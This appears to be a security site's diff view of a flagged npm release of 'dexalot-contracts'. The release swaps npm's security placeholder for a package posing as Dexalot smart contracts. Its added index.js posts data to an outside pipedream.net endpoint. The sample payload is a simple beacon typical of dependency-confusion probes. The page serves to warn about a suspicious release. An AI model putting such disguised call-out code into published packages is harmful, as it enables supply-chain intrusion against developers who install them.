dexalot-contracts 0.0.1-security → 3.4.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dexalot-contracts might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +20 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,20 @@
1
+ const https = require("https")
2
+
3
+ const data = JSON.stringify({
4
+ "test": "event"
5
+ })
6
+
7
+ const options = {
8
+ hostname: "eo178ep3g0tc6cq.m.pipedream.net",
9
+ port: 443,
10
+ path: "/",
11
+ method: "POST",
12
+ headers: {
13
+ "Content-Type": "application/json",
14
+ "Content-Length": data.length,
15
+ },
16
+ }
17
+
18
+ const req = https.request(options)
19
+ req.write(data)
20
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "dexalot-contracts",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.4.3",
4
+ "description": "Smart contracts in Solidity programming language for Dexalot",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dexalot-contracts for more information.